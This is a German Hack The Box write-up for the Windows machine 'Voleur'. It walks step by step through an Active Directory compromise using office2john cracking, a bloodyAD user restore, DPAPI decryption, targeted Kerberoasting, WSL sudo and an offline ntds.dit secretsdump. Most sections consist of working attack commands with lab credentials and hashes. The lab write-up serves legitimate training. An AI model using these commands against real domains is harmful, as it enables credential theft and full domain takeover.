← Zurück zu Machines

HTB · published

Voleur

Hack The Box CPTS-Track Writeup für Voleur: Kerberos-only Active Directory Enumeration, verschlüsseltes Access Review, User Restore, DPAPI, targeted Kerberoasting, WSL/SSH und Offline-NTDS zu Administrator.

HTBCPTSWriteupActive DirectoryKerberosDPAPIKerberoastingWSLNTDSMachineWindows

Metadaten


  • Name: Voleur
  • IP Address: 10.129.232.130
  • Plattform: Windows
  • Kategorie: Active Directory / Kerberos / SMB / DPAPI / WSL / Offline NTDS
  • Schwierigkeit: Medium
  • Ziel(e): User, Administrator
  • Kurzbeschreibung des Szenarios: Voleur ist eine Active-Directory-Machine mit starkem Fokus auf Kerberos-Enumeration, Support-Share-Analyse und Credential Chaining. Der Weg führt über ein verschlüsseltes Excel-Review, das Wiederherstellen eines gelöschten Users, DPAPI-Credentials, targeted Kerberoasting, WSL/SSH und zuletzt Offline-Dumping von ntds.dit.

Reconnaissance/ Enumeration

initscan:

nmap -p- --min-rate 10000 -T4 -v -n -oN scans/nmap_full_tcp.nmap 10.129.232.130
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
2222/tcp open  EtherNetIP-1
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
9389/tcp open  adws

servicescan:

nmap -sC -sV -O -p53,88,135,139,389,445,464,593,636,2222,3268,3269,5985,9389 --version-all -oN scans/nmap_service_versions.nmap 10.129.232.130
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp open  mc-nmf        .NET Message Framing

Domain: voleur.htb
Host: DC
SMB signing: enabled and required
Clock skew: about 17h49m

Der Port 2222 war besonders interessant: Obwohl das Ziel ein Windows Domain Controller ist, lief dort ein OpenSSH-Dienst mit Ubuntu-Banner. Das deutete früh auf eine WSL-Komponente hin.

LDAP ließ sich anonym zumindest für Basisinformationen abfragen:

ldapsearch -x -H ldap://10.129.232.130 -s base namingcontexts
namingcontexts: DC=voleur,DC=htb
namingcontexts: CN=Configuration,DC=voleur,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=voleur,DC=htb

Eine Kerberos-Userenum bestätigte mehrere gültige Accounts:

administrator
dc
svc_winrm
svc_backup
svc_ldap
ryan.naylor

AS-REP Roasting lieferte keine verwertbaren Treffer. Zusätzlich musste wegen der starken Zeitabweichung mit Kerberos sauber auf die Zielzeit geachtet werden. Praktisch war dafür faketime, damit TGTs und Kerberos-basierte Tools zuverlässig funktionieren.

Als initialer Credential-Satz stand zur Verfügung:

ryan.naylor : HollowOct31Nyt

Mit Ryan konnten über SMB mehrere Shares enumeriert werden:

ADMIN$
C$
Finance
HR
IPC$
IT
NETLOGON
SYSVOL

Der interessante Einstieg lag im IT-Share:

IT
└── First-Line Support
    └── Access_Review.xlsx

Exploitation (Foothold)

Die Datei Access_Review.xlsx war Office-verschlüsselt. Mit office2john und john ließ sich das Dokument knacken:

office2john Access_Review.xlsx > access_review.hash
john access_review.hash --wordlist=/usr/share/wordlists/rockyou.txt
Access_Review.xlsx : football1

Nach dem Entschlüsseln enthielt das Workbook mehrere wichtige Hinweise und Credentials:

Ryan.Naylor  - First-Line Support Technician
Todd.Wolfe   - Leaver. Password was reset to NightT1meP1dg3on14 and account deleted.
svc_backup   - Windows Backup. Speak to Jeremy!
svc_ldap     - P/W - M1XyC9pW7qT5Vn
svc_iis      - P/W - N5pXyW1VqM7CZ8
svc_winrm    - Need to ask Lacey as she reset this recently.

Der erste echte Pivot war svc_ldap. Der Account war nicht direkt ein Shell-Foothold, hatte aber ausreichend AD-Rechte, um gelöschte Benutzer wiederherzustellen.


Lateral Movement / User Escalation

Todd Wolfe wiederherstellen

svc_ldap war Mitglied bzw. berechtigt im Kontext Restore_Users. Damit ließ sich der gelöschte User Todd.Wolfe wiederherstellen:

bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' set restore 'Todd Wolfe'
[+] CN=Todd Wolfe\0ADEL:... has been restored successfully

Mit dem Passwort aus dem Access Review konnte anschließend ein TGT für Todd erzeugt werden:

impacket-getTGT voleur.htb/todd.wolfe:'NightT1meP1dg3on14'
export KRB5CCNAME=todd.wolfe.ccache

Todd hatte Zugriff auf archivierte Second-Line-Support-Daten:

IT
└── Second-Line Support
    └── Archived Users
        └── todd.wolfe
            └── AppData

In diesem Profil lagen DPAPI-relevante Artefakte, darunter Credential-Blobs und Browserdaten:

AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
AppData\Roaming\Microsoft\Credentials\772275FAD...
AppData\Local\Microsoft\Edge\User Data\Default\Login Data
AppData\Local\Microsoft\Edge\User Data\Local State

DPAPI zu Jeremy

Mit Todds Passwort konnten die DPAPI-Masterkeys entschlüsselt werden. Der relevante Roaming-Credential-Eintrag enthielt anschließend einen weiteren Account:

Target: Jezzas_Account
Username: jeremy.combs
Password: qT3V9pLXyN7W4m

Mit jeremy.combs war der Zugriff auf Third-Line-Support-Material möglich:

IT
└── Third-Line Support
    ├── id_rsa
    └── Note.txt.txt

Die Notiz erklärte den WSL-Kontext:

Jeremy,
I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.
Please see what you can set up.
Thanks,
Admin

Der private SSH-Key war für den Account svc_backup verwendbar:

ssh -i id_rsa -p 2222 svc_backup@10.129.232.130
svc_backup
DC
/home/svc_backup

Damit war ein WSL-Foothold auf dem Domain Controller erreicht.


Privilege Escalation (Root / Domain)

User Flag über targeted Kerberoasting

Für die User-Flag war nicht der WSL-Account selbst entscheidend, sondern der Account svc_winrm. BloodHound- bzw. AD-Enumeration zeigte, dass svc_ldap WriteSPN auf svc_winrm hatte. Dadurch war targeted Kerberoasting möglich:

bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' set object svc_winrm servicePrincipalName -v http/roast.voleur.htb
impacket-GetUserSPNs voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.129.232.130 -request

Danach wurde der temporäre SPN wieder entfernt:

bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' set object svc_winrm servicePrincipalName

Der TGS-Hash ließ sich offline cracken:

svc_winrm : AFireInsidedeOzarctica980219afi

Direktes WinRM war wegen der Umgebung nicht der sauberste Weg. Aus der WSL-Shell konnte aber über Windows-Prozesse mit Start-Process -Credential ein Kommando im Kontext von svc_winrm ausgeführt werden:

Start-Process powershell.exe -Credential voleur\svc_winrm -ArgumentList '-NoProfile -Command whoami; hostname; type C:\Users\svc_winrm\Desktop\user.txt'
voleur\svc_winrm
DC
9659c[REDACTED-USER-FLAG]f327

WSL Backup-Pfad zu NTDS

Der SSH-Login als svc_backup landete in einer Ubuntu-WSL-Umgebung. Der Account hatte in WSL vollständige sudo-Rechte:

sudo -l
sudo id
(ALL : ALL) NOPASSWD: ALL
uid=0(root) gid=0(root) groups=0(root)

Als WSL-root war das Windows-Dateisystem unter /mnt/c sichtbar. Dadurch wurde ein Backup-Verzeichnis lesbar, das über SMB nicht direkt zugänglich war:

sudo ls -R "/mnt/c/IT/Third-Line Support/Backups"
C:\IT\Third-Line Support\Backups
├── Active Directory
│   └── ntds.dit
└── registry
    ├── SECURITY
    └── SYSTEM

Die Dateien wurden anschließend per SCP kopiert:

scp -P 2222 -i id_rsa svc_backup@10.129.232.130:'/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit' .
scp -P 2222 -i id_rsa svc_backup@10.129.232.130:'/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM' .
scp -P 2222 -i id_rsa svc_backup@10.129.232.130:'/mnt/c/IT/Third-Line Support/Backups/registry/SECURITY' .

Offline Secretsdump

Mit ntds.dit und SYSTEM war ein Offline-Dump möglich:

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::
Administrator:aes256-cts-hmac-sha1-96:f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb

Statt Pass-the-Hash wurde hier sauber Kerberos mit dem AES-Key genutzt:

impacket-getTGT voleur.htb/Administrator -aesKey f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
export KRB5CCNAME=Administrator.ccache

Die Root-Flag konnte danach per Kerberos-SMB abgeholt werden:

impacket-smbclient -k -no-pass //dc.voleur.htb/C$
C:\Users\Administrator\Desktop\root.txt
df985[REDACTED-ROOT-FLAG]83b7

Post-Exploitation

  • User Flag: 9659c[REDACTED-USER-FLAG]f327
  • Root Flag: df985[REDACTED-ROOT-FLAG]83b7
  • Wichtige Accounts: ryan.naylor, svc_ldap, todd.wolfe, jeremy.combs, svc_backup, svc_winrm, Administrator
  • Wichtige Artefakte: Access_Review.xlsx, Todd-Profilarchiv, DPAPI-Credential-Blobs, id_rsa, ntds.dit, SYSTEM, SECURITY
  • Wichtige Technik: User Restore, DPAPI-Decryption, targeted Kerberoasting, WSL-Dateisystemzugriff, Offline-NTDS-Dump
  • Cleanup: Temporäre SPNs und erzeugte Testartefakte sollten entfernt werden, damit der AD-Zustand nicht unnötig verändert bleibt.

Lessons Learned

  • Wichtigster Aha-Moment: Der eigentliche Domain-Admin-Weg kam nicht über klassische Windows-PrivEsc, sondern über WSL-root und ein Windows-Backup-Verzeichnis.
  • Früher prüfen: Non-standard Services wie 2222/tcp verdienen sofort besondere Aufmerksamkeit, vor allem wenn ein Windows-Ziel plötzlich ein Linux-/Ubuntu-Banner zeigt.
  • Technik merken: WriteSPN auf ein Servicekonto ist ein starker targeted-Kerberoasting-Pfad, auch wenn der Account selbst zunächst keine Shell liefert.
  • DPAPI ernst nehmen: Archivierte Userprofile können extrem wertvoll sein, wenn das alte Userpasswort bekannt ist und Credential-Blobs erhalten geblieben sind.
  • Kerberos sauber halten: Bei starker Clock-Skew lohnt es sich, früh eine reproduzierbare Zeitstrategie mit faketime oder synchronisierter VM-Zeit zu nutzen.
  • Share-Tiers lesen: Support-Ordner wie First-Line, Second-Line und Third-Line sind oft als Storyline gebaut und sollten systematisch geprüft werden.

Notizen

  • svc_ldap war der zentrale AD-Control-Pivot, obwohl der Account keine direkte Shell lieferte.
  • Todd.Wolfe war als gelöschter Benutzer wertvoller als ein normaler aktiver Account, weil sein archiviertes Profil DPAPI-Material enthielt.
  • jeremy.combs führte nicht direkt zur Flag, sondern zum SSH-Key und damit zum WSL-Kontext.
  • svc_backup war in WSL mächtig, aber nicht automatisch als Windows-Admin nutzbar.
  • Der Admin-Zugriff wurde am Ende über Offline-Domain-Secrets und Kerberos-AES statt über interaktive Shell erreicht.